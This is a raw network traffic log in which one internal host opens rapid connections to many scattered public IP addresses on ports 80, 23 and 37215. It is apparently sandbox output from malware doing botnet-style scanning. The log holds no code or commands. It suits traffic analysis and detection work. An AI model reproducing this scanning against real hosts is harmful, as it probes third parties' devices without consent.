Jun 1, 2024 18:15:53.221101046 CEST	43720	80	192.168.2.23	176.135.116.139
Jun 1, 2024 18:15:53.221118927 CEST	37886	80	192.168.2.23	154.1.74.103
Jun 1, 2024 18:15:53.221134901 CEST	37588	80	192.168.2.23	212.34.153.120
Jun 1, 2024 18:15:53.221153975 CEST	34922	80	192.168.2.23	158.4.130.100
Jun 1, 2024 18:15:53.221169949 CEST	49442	80	192.168.2.23	124.60.75.137
Jun 1, 2024 18:15:53.221187115 CEST	34260	80	192.168.2.23	105.120.208.242
Jun 1, 2024 18:15:53.221203089 CEST	37714	80	192.168.2.23	206.121.1.240
Jun 1, 2024 18:15:53.221214056 CEST	43922	80	192.168.2.23	140.67.65.69
Jun 1, 2024 18:15:53.221230984 CEST	33706	80	192.168.2.23	187.205.139.84
Jun 1, 2024 18:15:53.221230984 CEST	53428	80	192.168.2.23	23.106.117.199
Jun 1, 2024 18:15:53.221242905 CEST	50218	80	192.168.2.23	159.209.163.86
Jun 1, 2024 18:15:53.221255064 CEST	54536	80	192.168.2.23	197.114.181.205
Jun 1, 2024 18:15:53.221268892 CEST	40758	80	192.168.2.23	136.107.130.201
Jun 1, 2024 18:15:53.221287012 CEST	50846	80	192.168.2.23	50.8.69.255
Jun 1, 2024 18:15:53.221292973 CEST	37215	60650	197.141.212.14	192.168.2.23
Jun 1, 2024 18:15:53.221297979 CEST	56784	80	192.168.2.23	162.133.179.162
Jun 1, 2024 18:15:53.221316099 CEST	33210	80	192.168.2.23	155.78.6.227
Jun 1, 2024 18:15:53.221327066 CEST	37215	60650	41.102.160.105	192.168.2.23
Jun 1, 2024 18:15:53.221327066 CEST	60650	37215	192.168.2.23	197.141.212.14
Jun 1, 2024 18:15:53.221337080 CEST	37215	60650	41.34.70.153	192.168.2.23
Jun 1, 2024 18:15:53.221349001 CEST	40970	80	192.168.2.23	113.32.208.233
Jun 1, 2024 18:15:53.221354008 CEST	37215	60650	41.211.118.0	192.168.2.23
Jun 1, 2024 18:15:53.221359968 CEST	60650	37215	192.168.2.23	41.102.160.105
Jun 1, 2024 18:15:53.221359968 CEST	60650	37215	192.168.2.23	41.34.70.153
Jun 1, 2024 18:15:53.221363068 CEST	37215	60650	197.12.157.187	192.168.2.23
Jun 1, 2024 18:15:53.221375942 CEST	37215	60650	197.106.173.162	192.168.2.23
Jun 1, 2024 18:15:53.221388102 CEST	60650	37215	192.168.2.23	41.211.118.0
Jun 1, 2024 18:15:53.221388102 CEST	60650	37215	192.168.2.23	197.12.157.187
Jun 1, 2024 18:15:53.221406937 CEST	60650	37215	192.168.2.23	197.106.173.162
Jun 1, 2024 18:15:53.221429110 CEST	37215	60650	197.185.57.191	192.168.2.23
Jun 1, 2024 18:15:53.221438885 CEST	37215	60650	41.157.194.47	192.168.2.23
Jun 1, 2024 18:15:53.221446991 CEST	37215	60650	41.178.178.129	192.168.2.23
Jun 1, 2024 18:15:53.221456051 CEST	37215	60650	197.237.45.191	192.168.2.23
Jun 1, 2024 18:15:53.221463919 CEST	60650	37215	192.168.2.23	197.185.57.191
Jun 1, 2024 18:15:53.221463919 CEST	60650	37215	192.168.2.23	41.157.194.47
Jun 1, 2024 18:15:53.221466064 CEST	37215	60650	156.201.79.229	192.168.2.23
Jun 1, 2024 18:15:53.221478939 CEST	60650	37215	192.168.2.23	41.178.178.129
Jun 1, 2024 18:15:53.221484900 CEST	37215	60650	197.1.204.149	192.168.2.23
Jun 1, 2024 18:15:53.221494913 CEST	37215	60650	197.183.142.35	192.168.2.23
Jun 1, 2024 18:15:53.221494913 CEST	60650	37215	192.168.2.23	156.201.79.229
Jun 1, 2024 18:15:53.221501112 CEST	60650	37215	192.168.2.23	197.237.45.191
Jun 1, 2024 18:15:53.221503019 CEST	37215	60650	41.61.32.196	192.168.2.23
Jun 1, 2024 18:15:53.221515894 CEST	37215	60650	156.9.244.55	192.168.2.23
Jun 1, 2024 18:15:53.221524000 CEST	37215	60650	197.192.231.97	192.168.2.23
Jun 1, 2024 18:15:53.221529961 CEST	60650	37215	192.168.2.23	197.183.142.35
Jun 1, 2024 18:15:53.221530914 CEST	60650	37215	192.168.2.23	197.1.204.149
Jun 1, 2024 18:15:53.221534967 CEST	60650	37215	192.168.2.23	41.61.32.196
Jun 1, 2024 18:15:53.221540928 CEST	60650	37215	192.168.2.23	156.9.244.55
Jun 1, 2024 18:15:53.221543074 CEST	37215	60650	156.184.19.175	192.168.2.23
Jun 1, 2024 18:15:53.221546888 CEST	60650	37215	192.168.2.23	197.192.231.97
Jun 1, 2024 18:15:53.221553087 CEST	37215	60650	41.220.104.79	192.168.2.23
Jun 1, 2024 18:15:53.221563101 CEST	37215	60650	156.63.236.117	192.168.2.23
Jun 1, 2024 18:15:53.221571922 CEST	60650	37215	192.168.2.23	156.184.19.175
Jun 1, 2024 18:15:53.221573114 CEST	37215	60650	156.52.192.203	192.168.2.23
Jun 1, 2024 18:15:53.221575975 CEST	60650	37215	192.168.2.23	41.220.104.79
Jun 1, 2024 18:15:53.221582890 CEST	37215	60650	156.127.142.124	192.168.2.23
Jun 1, 2024 18:15:53.221592903 CEST	37215	60650	197.15.112.38	192.168.2.23
Jun 1, 2024 18:15:53.221592903 CEST	60650	37215	192.168.2.23	156.63.236.117
Jun 1, 2024 18:15:53.221595049 CEST	60650	37215	192.168.2.23	156.52.192.203
Jun 1, 2024 18:15:53.221616030 CEST	60650	37215	192.168.2.23	156.127.142.124
Jun 1, 2024 18:15:53.221620083 CEST	60650	37215	192.168.2.23	197.15.112.38
Jun 1, 2024 18:15:53.221642971 CEST	37215	60650	41.235.209.213	192.168.2.23
Jun 1, 2024 18:15:53.221652985 CEST	37215	60650	197.58.51.89	192.168.2.23
Jun 1, 2024 18:15:53.221678972 CEST	60650	37215	192.168.2.23	41.235.209.213
Jun 1, 2024 18:15:53.221682072 CEST	60650	37215	192.168.2.23	197.58.51.89
Jun 1, 2024 18:15:53.221683979 CEST	39732	80	192.168.2.23	128.151.195.102
Jun 1, 2024 18:15:53.221688986 CEST	33878	80	192.168.2.23	112.152.48.8
Jun 1, 2024 18:15:53.221709013 CEST	53558	80	192.168.2.23	81.48.62.152
Jun 1, 2024 18:15:53.221715927 CEST	46490	80	192.168.2.23	93.152.148.219
Jun 1, 2024 18:15:53.221733093 CEST	45540	80	192.168.2.23	144.192.66.230
Jun 1, 2024 18:15:53.221740007 CEST	55216	80	192.168.2.23	51.180.72.227
Jun 1, 2024 18:15:53.221755981 CEST	52008	80	192.168.2.23	198.24.255.213
Jun 1, 2024 18:15:53.221769094 CEST	42950	80	192.168.2.23	160.171.210.51
Jun 1, 2024 18:15:53.221788883 CEST	42926	80	192.168.2.23	173.201.55.115
Jun 1, 2024 18:15:53.221806049 CEST	32800	80	192.168.2.23	118.131.29.171
Jun 1, 2024 18:15:53.221818924 CEST	38354	80	192.168.2.23	8.194.32.207
Jun 1, 2024 18:15:53.221848011 CEST	42066	80	192.168.2.23	198.139.79.120
Jun 1, 2024 18:15:53.221859932 CEST	58476	80	192.168.2.23	223.81.79.132
Jun 1, 2024 18:15:53.221873045 CEST	54708	80	192.168.2.23	173.142.129.181
Jun 1, 2024 18:15:53.221884012 CEST	58654	80	192.168.2.23	89.243.242.221
Jun 1, 2024 18:15:53.221899033 CEST	45266	80	192.168.2.23	50.235.115.106
Jun 1, 2024 18:15:53.221914053 CEST	52886	80	192.168.2.23	80.252.121.45
Jun 1, 2024 18:15:53.221931934 CEST	40554	80	192.168.2.23	60.55.180.73
Jun 1, 2024 18:15:53.221941948 CEST	40300	80	192.168.2.23	81.78.87.67
Jun 1, 2024 18:15:53.221957922 CEST	34492	80	192.168.2.23	123.28.179.254
Jun 1, 2024 18:15:53.221976995 CEST	40252	80	192.168.2.23	113.86.73.72
Jun 1, 2024 18:15:53.221995115 CEST	37215	60650	197.251.66.164	192.168.2.23
Jun 1, 2024 18:15:53.221996069 CEST	50824	80	192.168.2.23	87.130.72.182
Jun 1, 2024 18:15:53.222004890 CEST	37215	60650	41.43.38.181	192.168.2.23
Jun 1, 2024 18:15:53.222008944 CEST	50510	80	192.168.2.23	80.104.124.102
Jun 1, 2024 18:15:53.222009897 CEST	48762	80	192.168.2.23	191.185.132.251
Jun 1, 2024 18:15:53.222014904 CEST	37215	60650	41.81.195.223	192.168.2.23
Jun 1, 2024 18:15:53.222031116 CEST	57298	80	192.168.2.23	24.4.140.180
Jun 1, 2024 18:15:53.222032070 CEST	60650	37215	192.168.2.23	41.43.38.181
Jun 1, 2024 18:15:53.222031116 CEST	60650	37215	192.168.2.23	197.251.66.164
Jun 1, 2024 18:15:53.222033024 CEST	37215	60650	197.94.70.126	192.168.2.23
Jun 1, 2024 18:15:53.222038031 CEST	60650	37215	192.168.2.23	41.81.195.223
Jun 1, 2024 18:15:53.222043991 CEST	37215	60650	197.79.159.196	192.168.2.23
Jun 1, 2024 18:15:53.222053051 CEST	37215	60650	197.253.143.219	192.168.2.23
Jun 1, 2024 18:15:53.222060919 CEST	57174	80	192.168.2.23	37.47.52.166
Jun 1, 2024 18:15:53.222063065 CEST	60650	37215	192.168.2.23	197.94.70.126
Jun 1, 2024 18:15:53.222067118 CEST	60650	37215	192.168.2.23	197.79.159.196
Jun 1, 2024 18:15:53.222069979 CEST	37215	60650	41.175.66.106	192.168.2.23
Jun 1, 2024 18:15:53.222079992 CEST	37215	60650	197.7.202.171	192.168.2.23
Jun 1, 2024 18:15:53.222080946 CEST	60650	37215	192.168.2.23	197.253.143.219
Jun 1, 2024 18:15:53.222088099 CEST	80	35232	146.154.17.102	192.168.2.23
Jun 1, 2024 18:15:53.222103119 CEST	60650	37215	192.168.2.23	41.175.66.106
Jun 1, 2024 18:15:53.222110033 CEST	60650	37215	192.168.2.23	197.7.202.171
Jun 1, 2024 18:15:53.222126007 CEST	80	40304	176.184.31.108	192.168.2.23
Jun 1, 2024 18:15:53.222135067 CEST	37215	60650	197.190.143.129	192.168.2.23
Jun 1, 2024 18:15:53.222138882 CEST	35232	80	192.168.2.23	146.154.17.102
Jun 1, 2024 18:15:53.222142935 CEST	59302	23	192.168.2.23	210.154.194.130
Jun 1, 2024 18:15:53.222163916 CEST	60650	37215	192.168.2.23	197.190.143.129
Jun 1, 2024 18:15:53.222163916 CEST	40304	80	192.168.2.23	176.184.31.108
Jun 1, 2024 18:15:53.222166061 CEST	34982	23	192.168.2.23	2.132.81.74
Jun 1, 2024 18:15:53.222580910 CEST	37215	60650	41.155.151.88	192.168.2.23
Jun 1, 2024 18:15:53.222599030 CEST	37215	60650	197.139.126.61	192.168.2.23
Jun 1, 2024 18:15:53.222620964 CEST	60650	37215	192.168.2.23	41.155.151.88
Jun 1, 2024 18:15:53.222645044 CEST	37215	60650	197.23.133.244	192.168.2.23
Jun 1, 2024 18:15:53.222657919 CEST	60650	37215	192.168.2.23	197.139.126.61
Jun 1, 2024 18:15:53.222676992 CEST	60650	37215	192.168.2.23	197.23.133.244
Jun 1, 2024 18:15:53.222714901 CEST	37215	60650	41.122.120.11	192.168.2.23
Jun 1, 2024 18:15:53.222724915 CEST	80	42174	118.56.224.81	192.168.2.23
Jun 1, 2024 18:15:53.222750902 CEST	60650	37215	192.168.2.23	41.122.120.11
Jun 1, 2024 18:15:53.222759008 CEST	42174	80	192.168.2.23	118.56.224.81
Jun 1, 2024 18:15:53.222764969 CEST	37215	60650	197.145.36.42	192.168.2.23
Jun 1, 2024 18:15:53.222774982 CEST	80	57450	138.193.26.70	192.168.2.23
Jun 1, 2024 18:15:53.222784996 CEST	37215	60650	41.54.77.148	192.168.2.23
Jun 1, 2024 18:15:53.222793102 CEST	37215	60650	156.129.12.231	192.168.2.23
Jun 1, 2024 18:15:53.222800970 CEST	60650	37215	192.168.2.23	197.145.36.42
Jun 1, 2024 18:15:53.222801924 CEST	80	45786	134.10.23.167	192.168.2.23
Jun 1, 2024 18:15:53.222805977 CEST	57450	80	192.168.2.23	138.193.26.70
Jun 1, 2024 18:15:53.222810030 CEST	60650	37215	192.168.2.23	41.54.77.148
Jun 1, 2024 18:15:53.222810984 CEST	37215	60650	197.72.175.201	192.168.2.23
Jun 1, 2024 18:15:53.222819090 CEST	60650	37215	192.168.2.23	156.129.12.231
Jun 1, 2024 18:15:53.222824097 CEST	45786	80	192.168.2.23	134.10.23.167
Jun 1, 2024 18:15:53.222841024 CEST	60650	37215	192.168.2.23	197.72.175.201
Jun 1, 2024 18:15:53.223634958 CEST	37215	60650	156.206.124.137	192.168.2.23
Jun 1, 2024 18:15:53.223654032 CEST	37215	60650	156.166.227.112	192.168.2.23
Jun 1, 2024 18:15:53.223664999 CEST	80	48530	91.176.40.173	192.168.2.23
Jun 1, 2024 18:15:53.223674059 CEST	60650	37215	192.168.2.23	156.206.124.137
Jun 1, 2024 18:15:53.223699093 CEST	60650	37215	192.168.2.23	156.166.227.112
Jun 1, 2024 18:15:53.223701954 CEST	37215	60650	197.21.171.74	192.168.2.23
Jun 1, 2024 18:15:53.223701000 CEST	48530	80	192.168.2.23	91.176.40.173
Jun 1, 2024 18:15:53.223712921 CEST	80	53384	115.206.192.214	192.168.2.23
Jun 1, 2024 18:15:53.223723888 CEST	80	37624	42.244.32.219	192.168.2.23
Jun 1, 2024 18:15:53.223731995 CEST	37215	60650	41.221.15.178	192.168.2.23
Jun 1, 2024 18:15:53.223733902 CEST	60650	37215	192.168.2.23	197.21.171.74
Jun 1, 2024 18:15:53.223736048 CEST	53384	80	192.168.2.23	115.206.192.214
Jun 1, 2024 18:15:53.223741055 CEST	80	50616	198.208.129.228	192.168.2.23
Jun 1, 2024 18:15:53.223751068 CEST	37624	80	192.168.2.23	42.244.32.219
Jun 1, 2024 18:15:53.223751068 CEST	60650	37215	192.168.2.23	41.221.15.178
Jun 1, 2024 18:15:53.223763943 CEST	37215	60650	197.67.243.116	192.168.2.23
Jun 1, 2024 18:15:53.223774910 CEST	50616	80	192.168.2.23	198.208.129.228
Jun 1, 2024 18:15:53.223776102 CEST	80	51866	98.108.66.200	192.168.2.23
Jun 1, 2024 18:15:53.223786116 CEST	37215	60650	41.152.62.98	192.168.2.23
Jun 1, 2024 18:15:53.223795891 CEST	60650	37215	192.168.2.23	197.67.243.116
Jun 1, 2024 18:15:53.223803043 CEST	37215	60650	156.145.249.250	192.168.2.23
Jun 1, 2024 18:15:53.223812103 CEST	60650	37215	192.168.2.23	41.152.62.98
Jun 1, 2024 18:15:53.223814964 CEST	51866	80	192.168.2.23	98.108.66.200
Jun 1, 2024 18:15:53.223833084 CEST	60650	37215	192.168.2.23	156.145.249.250
Jun 1, 2024 18:15:53.223843098 CEST	80	53862	149.115.99.191	192.168.2.23
Jun 1, 2024 18:15:53.223889112 CEST	53862	80	192.168.2.23	149.115.99.191
Jun 1, 2024 18:15:53.224663973 CEST	37215	60650	156.190.226.143	192.168.2.23
Jun 1, 2024 18:15:53.224673986 CEST	37215	60650	197.223.113.47	192.168.2.23
Jun 1, 2024 18:15:53.224682093 CEST	37215	60650	197.199.161.95	192.168.2.23
Jun 1, 2024 18:15:53.224693060 CEST	37215	60650	197.55.117.51	192.168.2.23
Jun 1, 2024 18:15:53.224700928 CEST	60650	37215	192.168.2.23	156.190.226.143
Jun 1, 2024 18:15:53.224700928 CEST	37215	60650	156.90.219.156	192.168.2.23
Jun 1, 2024 18:15:53.224703074 CEST	60650	37215	192.168.2.23	197.223.113.47
Jun 1, 2024 18:15:53.224714994 CEST	60650	37215	192.168.2.23	197.199.161.95
Jun 1, 2024 18:15:53.224721909 CEST	60650	37215	192.168.2.23	197.55.117.51
Jun 1, 2024 18:15:53.224723101 CEST	60650	37215	192.168.2.23	156.90.219.156
Jun 1, 2024 18:15:53.224741936 CEST	37215	60650	41.135.167.10	192.168.2.23
Jun 1, 2024 18:15:53.224773884 CEST	60650	37215	192.168.2.23	41.135.167.10
Jun 1, 2024 18:15:53.224806070 CEST	37215	60650	197.97.25.10	192.168.2.23
Jun 1, 2024 18:15:53.224816084 CEST	37215	60650	156.121.112.47	192.168.2.23
Jun 1, 2024 18:15:53.224823952 CEST	80	37480	92.126.90.34	192.168.2.23
Jun 1, 2024 18:15:53.224843025 CEST	60650	37215	192.168.2.23	156.121.112.47
Jun 1, 2024 18:15:53.224844933 CEST	60650	37215	192.168.2.23	197.97.25.10
Jun 1, 2024 18:15:53.224858046 CEST	37480	80	192.168.2.23	92.126.90.34
Jun 1, 2024 18:15:53.224874973 CEST	80	44742	81.132.76.122	192.168.2.23
Jun 1, 2024 18:15:53.224884987 CEST	37215	60650	156.95.172.99	192.168.2.23
Jun 1, 2024 18:15:53.224894047 CEST	37215	60650	197.78.21.68	192.168.2.23
Jun 1, 2024 18:15:53.224904060 CEST	80	60788	193.77.243.238	192.168.2.23
Jun 1, 2024 18:15:53.224909067 CEST	44742	80	192.168.2.23	81.132.76.122
Jun 1, 2024 18:15:53.224915028 CEST	37215	60650	41.80.155.0	192.168.2.23
Jun 1, 2024 18:15:53.224917889 CEST	60650	37215	192.168.2.23	156.95.172.99
Jun 1, 2024 18:15:53.224925041 CEST	37215	60650	156.37.109.188	192.168.2.23
Jun 1, 2024 18:15:53.224937916 CEST	60788	80	192.168.2.23	193.77.243.238
Jun 1, 2024 18:15:53.224937916 CEST	60650	37215	192.168.2.23	197.78.21.68
Jun 1, 2024 18:15:53.224942923 CEST	37215	60650	41.120.30.141	192.168.2.23
Jun 1, 2024 18:15:53.224948883 CEST	60650	37215	192.168.2.23	41.80.155.0
Jun 1, 2024 18:15:53.224948883 CEST	60650	37215	192.168.2.23	156.37.109.188
Jun 1, 2024 18:15:53.224955082 CEST	37215	60650	41.28.42.228	192.168.2.23
Jun 1, 2024 18:15:53.224965096 CEST	37215	60650	156.87.143.163	192.168.2.23
Jun 1, 2024 18:15:53.224973917 CEST	60650	37215	192.168.2.23	41.120.30.141
Jun 1, 2024 18:15:53.224975109 CEST	37215	60650	41.33.229.216	192.168.2.23
Jun 1, 2024 18:15:53.224976063 CEST	60650	37215	192.168.2.23	41.28.42.228
Jun 1, 2024 18:15:53.224992037 CEST	37215	60650	41.223.133.132	192.168.2.23
Jun 1, 2024 18:15:53.224997044 CEST	60650	37215	192.168.2.23	156.87.143.163
Jun 1, 2024 18:15:53.225002050 CEST	60650	37215	192.168.2.23	41.33.229.216
Jun 1, 2024 18:15:53.225024939 CEST	60650	37215	192.168.2.23	41.223.133.132
Jun 1, 2024 18:15:53.225682020 CEST	80	60742	35.40.58.241	192.168.2.23
Jun 1, 2024 18:15:53.225699902 CEST	80	49670	115.246.114.148	192.168.2.23
Jun 1, 2024 18:15:53.225708961 CEST	80	43832	34.240.253.41	192.168.2.23
Jun 1, 2024 18:15:53.225724936 CEST	60742	80	192.168.2.23	35.40.58.241
Jun 1, 2024 18:15:53.225738049 CEST	43832	80	192.168.2.23	34.240.253.41
Jun 1, 2024 18:15:53.225747108 CEST	37215	60650	156.70.38.86	192.168.2.23
Jun 1, 2024 18:15:53.225756884 CEST	80	58212	78.247.12.109	192.168.2.23
Jun 1, 2024 18:15:53.225764036 CEST	49670	80	192.168.2.23	115.246.114.148
Jun 1, 2024 18:15:53.225774050 CEST	37215	60650	156.178.46.228	192.168.2.23
Jun 1, 2024 18:15:53.225781918 CEST	60650	37215	192.168.2.23	156.70.38.86
Jun 1, 2024 18:15:53.225795984 CEST	58212	80	192.168.2.23	78.247.12.109
Jun 1, 2024 18:15:53.225795984 CEST	37215	60650	156.239.96.166	192.168.2.23
Jun 1, 2024 18:15:53.225795984 CEST	60650	37215	192.168.2.23	156.178.46.228
Jun 1, 2024 18:15:53.225831032 CEST	60650	37215	192.168.2.23	156.239.96.166
Jun 1, 2024 18:15:53.225831985 CEST	37215	60650	41.120.25.30	192.168.2.23
Jun 1, 2024 18:15:53.225841045 CEST	80	56838	117.200.77.204	192.168.2.23
Jun 1, 2024 18:15:53.225850105 CEST	37215	60650	41.164.209.134	192.168.2.23
Jun 1, 2024 18:15:53.225858927 CEST	80	39456	107.165.24.228	192.168.2.23
Jun 1, 2024 18:15:53.225867033 CEST	37215	60650	197.226.85.36	192.168.2.23
Jun 1, 2024 18:15:53.225871086 CEST	56838	80	192.168.2.23	117.200.77.204
Jun 1, 2024 18:15:53.225871086 CEST	60650	37215	192.168.2.23	41.120.25.30
Jun 1, 2024 18:15:53.225886106 CEST	37215	60650	156.90.201.80	192.168.2.23
Jun 1, 2024 18:15:53.225893974 CEST	60650	37215	192.168.2.23	41.164.209.134
Jun 1, 2024 18:15:53.225893974 CEST	39456	80	192.168.2.23	107.165.24.228
Jun 1, 2024 18:15:53.225895882 CEST	37215	60650	156.153.106.98	192.168.2.23
Jun 1, 2024 18:15:53.225897074 CEST	60650	37215	192.168.2.23	197.226.85.36
Jun 1, 2024 18:15:53.225905895 CEST	37215	60650	156.24.203.144	192.168.2.23
Jun 1, 2024 18:15:53.225914001 CEST	37215	60650	41.103.124.90	192.168.2.23
Jun 1, 2024 18:15:53.225918055 CEST	60650	37215	192.168.2.23	156.90.201.80
Jun 1, 2024 18:15:53.225919008 CEST	60650	37215	192.168.2.23	156.153.106.98
Jun 1, 2024 18:15:53.225934029 CEST	60650	37215	192.168.2.23	156.24.203.144
Jun 1, 2024 18:15:53.225941896 CEST	60650	37215	192.168.2.23	41.103.124.90
Jun 1, 2024 18:15:53.225949049 CEST	80	44946	81.37.220.40	192.168.2.23
Jun 1, 2024 18:15:53.225959063 CEST	80	55598	43.221.116.139	192.168.2.23
Jun 1, 2024 18:15:53.225980997 CEST	44946	80	192.168.2.23	81.37.220.40
Jun 1, 2024 18:15:53.225991011 CEST	55598	80	192.168.2.23	43.221.116.139
Jun 1, 2024 18:15:53.226533890 CEST	37215	60650	197.144.13.178	192.168.2.23
Jun 1, 2024 18:15:53.226572037 CEST	60650	37215	192.168.2.23	197.144.13.178
Jun 1, 2024 18:15:53.226572037 CEST	37215	60650	197.216.43.226	192.168.2.23
Jun 1, 2024 18:15:53.226582050 CEST	37215	60650	197.95.50.200	192.168.2.23
Jun 1, 2024 18:15:53.226610899 CEST	37215	60650	41.76.221.70	192.168.2.23
Jun 1, 2024 18:15:53.226619959 CEST	37215	60650	41.195.204.134	192.168.2.23
Jun 1, 2024 18:15:53.226624012 CEST	60650	37215	192.168.2.23	197.95.50.200
Jun 1, 2024 18:15:53.226624012 CEST	60650	37215	192.168.2.23	197.216.43.226
Jun 1, 2024 18:15:53.226628065 CEST	80	59816	37.168.229.134	192.168.2.23
Jun 1, 2024 18:15:53.226646900 CEST	60650	37215	192.168.2.23	41.76.221.70
Jun 1, 2024 18:15:53.226655006 CEST	60650	37215	192.168.2.23	41.195.204.134
Jun 1, 2024 18:15:53.226672888 CEST	59816	80	192.168.2.23	37.168.229.134
Jun 1, 2024 18:15:53.226679087 CEST	80	51142	149.127.43.235	192.168.2.23
Jun 1, 2024 18:15:53.226689100 CEST	37215	60650	197.226.191.57	192.168.2.23
Jun 1, 2024 18:15:53.226696968 CEST	37215	60650	41.68.63.11	192.168.2.23
Jun 1, 2024 18:15:53.226706028 CEST	80	42178	41.79.241.72	192.168.2.23
Jun 1, 2024 18:15:53.226713896 CEST	51142	80	192.168.2.23	149.127.43.235
Jun 1, 2024 18:15:53.226716042 CEST	60650	37215	192.168.2.23	197.226.191.57
Jun 1, 2024 18:15:53.226725101 CEST	60650	37215	192.168.2.23	41.68.63.11
Jun 1, 2024 18:15:53.226727962 CEST	42178	80	192.168.2.23	41.79.241.72
Jun 1, 2024 18:15:53.226732016 CEST	37215	60650	41.180.1.108	192.168.2.23
Jun 1, 2024 18:15:53.226764917 CEST	60650	37215	192.168.2.23	41.180.1.108
Jun 1, 2024 18:15:53.226793051 CEST	37215	60650	156.168.62.214	192.168.2.23
Jun 1, 2024 18:15:53.226803064 CEST	80	39486	202.24.92.234	192.168.2.23
Jun 1, 2024 18:15:53.226821899 CEST	60650	37215	192.168.2.23	156.168.62.214
Jun 1, 2024 18:15:53.226845026 CEST	37215	60650	156.144.236.42	192.168.2.23
Jun 1, 2024 18:15:53.226855993 CEST	80	44104	145.100.188.83	192.168.2.23
Jun 1, 2024 18:15:53.226859093 CEST	39486	80	192.168.2.23	202.24.92.234
Jun 1, 2024 18:15:53.226882935 CEST	60650	37215	192.168.2.23	156.144.236.42
Jun 1, 2024 18:15:53.226886034 CEST	44104	80	192.168.2.23	145.100.188.83
Jun 1, 2024 18:15:53.227441072 CEST	37215	60650	41.187.183.253	192.168.2.23
Jun 1, 2024 18:15:53.227484941 CEST	60650	37215	192.168.2.23	41.187.183.253
Jun 1, 2024 18:15:53.227518082 CEST	37215	60650	41.4.204.57	192.168.2.23
Jun 1, 2024 18:15:53.227557898 CEST	60650	37215	192.168.2.23	41.4.204.57
Jun 1, 2024 18:15:53.227647066 CEST	37215	60650	41.236.96.139	192.168.2.23
Jun 1, 2024 18:15:53.227657080 CEST	80	34700	202.238.8.254	192.168.2.23
Jun 1, 2024 18:15:53.227665901 CEST	37215	60650	41.89.157.11	192.168.2.23
Jun 1, 2024 18:15:53.227674961 CEST	37215	60650	41.67.89.169	192.168.2.23
Jun 1, 2024 18:15:53.227683067 CEST	34700	80	192.168.2.23	202.238.8.254
Jun 1, 2024 18:15:53.227684021 CEST	60650	37215	192.168.2.23	41.236.96.139
Jun 1, 2024 18:15:53.227684021 CEST	37215	60650	156.178.144.88	192.168.2.23
Jun 1, 2024 18:15:53.227694988 CEST	80	56756	174.194.105.235	192.168.2.23
Jun 1, 2024 18:15:53.227701902 CEST	60650	37215	192.168.2.23	41.89.157.11
Jun 1, 2024 18:15:53.227701902 CEST	60650	37215	192.168.2.23	41.67.89.169
Jun 1, 2024 18:15:53.227704048 CEST	37215	60650	41.217.170.85	192.168.2.23
Jun 1, 2024 18:15:53.227720022 CEST	56756	80	192.168.2.23	174.194.105.235
Jun 1, 2024 18:15:53.227720022 CEST	60650	37215	192.168.2.23	156.178.144.88
Jun 1, 2024 18:15:53.227721930 CEST	37215	60650	197.255.207.41	192.168.2.23
Jun 1, 2024 18:15:53.227730989 CEST	80	55292	140.5.76.153	192.168.2.23
Jun 1, 2024 18:15:53.227734089 CEST	60650	37215	192.168.2.23	41.217.170.85
Jun 1, 2024 18:15:53.227740049 CEST	80	35842	83.231.82.8	192.168.2.23
Jun 1, 2024 18:15:53.227749109 CEST	37215	60650	197.16.228.151	192.168.2.23
Jun 1, 2024 18:15:53.227754116 CEST	60650	37215	192.168.2.23	197.255.207.41
Jun 1, 2024 18:15:53.227757931 CEST	80	47264	57.222.230.206	192.168.2.23
Jun 1, 2024 18:15:53.227757931 CEST	55292	80	192.168.2.23	140.5.76.153
Jun 1, 2024 18:15:53.227767944 CEST	80	52794	128.101.239.153	192.168.2.23
Jun 1, 2024 18:15:53.227773905 CEST	60650	37215	192.168.2.23	197.16.228.151
Jun 1, 2024 18:15:53.227776051 CEST	35842	80	192.168.2.23	83.231.82.8
Jun 1, 2024 18:15:53.227777958 CEST	80	58574	45.5.242.217	192.168.2.23
Jun 1, 2024 18:15:53.227788925 CEST	47264	80	192.168.2.23	57.222.230.206
Jun 1, 2024 18:15:53.227792978 CEST	52794	80	192.168.2.23	128.101.239.153
Jun 1, 2024 18:15:53.227801085 CEST	58574	80	192.168.2.23	45.5.242.217
Jun 1, 2024 18:15:53.228383064 CEST	80	34108	204.167.44.181	192.168.2.23
Jun 1, 2024 18:15:53.228401899 CEST	80	34456	194.252.4.200	192.168.2.23
Jun 1, 2024 18:15:53.228410959 CEST	80	42554	68.39.123.219	192.168.2.23
Jun 1, 2024 18:15:53.228421926 CEST	80	49564	95.237.237.156	192.168.2.23
Jun 1, 2024 18:15:53.228423119 CEST	34108	80	192.168.2.23	204.167.44.181
Jun 1, 2024 18:15:53.228430986 CEST	80	58070	186.28.217.117	192.168.2.23
Jun 1, 2024 18:15:53.228435993 CEST	34456	80	192.168.2.23	194.252.4.200
Jun 1, 2024 18:15:53.228439093 CEST	42554	80	192.168.2.23	68.39.123.219
Jun 1, 2024 18:15:53.228456974 CEST	58070	80	192.168.2.23	186.28.217.117
Jun 1, 2024 18:15:53.228461027 CEST	49564	80	192.168.2.23	95.237.237.156
Jun 1, 2024 18:15:53.228471994 CEST	80	58076	142.5.237.169	192.168.2.23
Jun 1, 2024 18:15:53.228490114 CEST	80	51510	205.249.54.111	192.168.2.23
Jun 1, 2024 18:15:53.228511095 CEST	58076	80	192.168.2.23	142.5.237.169
Jun 1, 2024 18:15:53.228518009 CEST	80	44372	117.241.145.89	192.168.2.23
Jun 1, 2024 18:15:53.228523016 CEST	51510	80	192.168.2.23	205.249.54.111
Jun 1, 2024 18:15:53.228528023 CEST	80	36520	72.194.176.69	192.168.2.23
Jun 1, 2024 18:15:53.228537083 CEST	80	46058	51.243.182.171	192.168.2.23
Jun 1, 2024 18:15:53.228545904 CEST	80	52812	41.59.82.228	192.168.2.23
Jun 1, 2024 18:15:53.228554010 CEST	44372	80	192.168.2.23	117.241.145.89
Jun 1, 2024 18:15:53.228564978 CEST	36520	80	192.168.2.23	72.194.176.69
Jun 1, 2024 18:15:53.228588104 CEST	52812	80	192.168.2.23	41.59.82.228
Jun 1, 2024 18:15:53.228828907 CEST	46058	80	192.168.2.23	51.243.182.171
Jun 1, 2024 18:15:53.229094028 CEST	80	50980	212.199.183.185	192.168.2.23
Jun 1, 2024 18:15:53.229168892 CEST	80	37288	41.62.241.247	192.168.2.23
Jun 1, 2024 18:15:53.229175091 CEST	50980	80	192.168.2.23	212.199.183.185
Jun 1, 2024 18:15:53.229199886 CEST	80	54284	110.176.150.43	192.168.2.23
Jun 1, 2024 18:15:53.229202986 CEST	37288	80	192.168.2.23	41.62.241.247
Jun 1, 2024 18:15:53.229233980 CEST	54284	80	192.168.2.23	110.176.150.43
